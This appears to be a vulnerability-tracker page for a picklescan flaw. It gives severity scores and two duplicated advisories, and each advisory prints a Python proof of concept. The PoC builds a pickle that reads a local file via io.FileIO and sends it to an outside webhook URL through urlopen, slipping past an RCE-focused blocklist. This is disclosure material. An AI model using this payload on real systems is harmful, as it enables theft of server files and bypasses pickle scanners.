CVE-2026-53872

highpriority · track · 0EPSS 0.005 · 43 %ileEUUS
grimoire priorityP2 · Scheduled
Exploitable?
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no known exploitation
Likely / severe?
0.51% (43rd) EPSS
CVSS 7.5 · high
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cnnvd · enisa_euvd · osv

EPSS · scored 2026-10-28

picklescan before 0.0.35 contains an unsafe pickle deserialization vulnerability allowing unauthenticated attackers to read arbitrary server files by chaining io.FileIO and urllib.request.urlopen. Attackers can bypass RCE-focused blocklists to exfiltrate sensitive data like /etc/passwd to external servers.

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base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 6.6–8.7

v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:Nsecondary · disclosure@vulncheck.comexploitability 3.9 · impact 3.6
v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:Nsecondary · OSV
v4.08.7highCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:Nsecondary · ENISA EU
v4.08.7highCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · disclosure@vulncheck.com
v4.06.6mediumCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · CVSS-BT (t0sche)
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Exploitation: poc · Automatable: yes · Technical Impact: partialcoordinatorcisa_ssvcUS
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affected products (2)

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advisories (2)

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  • GHSA-9726-w42j-3qjrpicklescan has Arbitrary file read using `io.FileIO` 2026-01-08ghsa · osvUS

    ### Summary Unsafe pickle deserialization allows unauthenticated attackers to read arbitrary server files and perform SSRF. By chaining io.FileIO and urllib.request.urlopen, an attacker can bypass RCE-focused blocklists to exfiltrate sensitive data (example: /etc/passwd) to an external server. ### Details The application deserializes untrusted pickle data. While RCE keywords (os, exec) may be blocked, the exploit abuses standard library features: 1. io.FileIO: Opens local files without using builtins.open. 2. urllib.request.urlopen: Accepts the file object as an iterable body for a POST request. 3. Data Exfiltration: The file content is streamed directly to an attacker-controlled URL during unpickling. ### PoC ```python import pickle, io, urllib.request class GetFile: def __reduce__(self): return (io.FileIO, ('/etc/hosts', 'r')) class Exfiltrate: def __reduce__(self): return (urllib.request.urlopen, ('https://webhook.site/YOUR_UUID_HERE', GetFile())) with open("bypass_http.pkl", "wb") as f: pickle.dump(Exfiltrate(), f) ``` <img width="650" height="114" alt="Screenshot 2025-12-30 at 10 13 14 PM" src="https://github.com/user-attachments/assets/4edf9640-80f6-4701-ae87-cff1079e2994" /> ### Impact - Arbitrary file read Thanks for this library and your time. If you think `picklescan` is focused on detecting only `RCE` kind of vulnerabilities rather adding `File IO`, `Http` or any protocol based may cause lot of noise, feel free to close this issue.

  • PYSEC-2026-1787picklescan has Arbitrary file read using `io.FileIO` 2026-07-07vendor · osvUS

    ### Summary Unsafe pickle deserialization allows unauthenticated attackers to read arbitrary server files and perform SSRF. By chaining io.FileIO and urllib.request.urlopen, an attacker can bypass RCE-focused blocklists to exfiltrate sensitive data (example: /etc/passwd) to an external server. ### Details The application deserializes untrusted pickle data. While RCE keywords (os, exec) may be blocked, the exploit abuses standard library features: 1. io.FileIO: Opens local files without using builtins.open. 2. urllib.request.urlopen: Accepts the file object as an iterable body for a POST request. 3. Data Exfiltration: The file content is streamed directly to an attacker-controlled URL during unpickling. ### PoC ```python import pickle, io, urllib.request class GetFile: def __reduce__(self): return (io.FileIO, ('/etc/hosts', 'r')) class Exfiltrate: def __reduce__(self): return (urllib.request.urlopen, ('https://webhook.site/YOUR_UUID_HERE', GetFile())) with open("bypass_http.pkl", "wb") as f: pickle.dump(Exfiltrate(), f) ``` <img width="650" height="114" alt="Screenshot 2025-12-30 at 10 13 14 PM" src="https://github.com/user-attachments/assets/4edf9640-80f6-4701-ae87-cff1079e2994" /> ### Impact - Arbitrary file read Thanks for this library and your time. If you think `picklescan` is focused on detecting only `RCE` kind of vulnerabilities rather adding `File IO`, `Http` or any protocol based may cause lot of noise, feel free to close this issue.

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published 2026-06-17modified 2026-06-17
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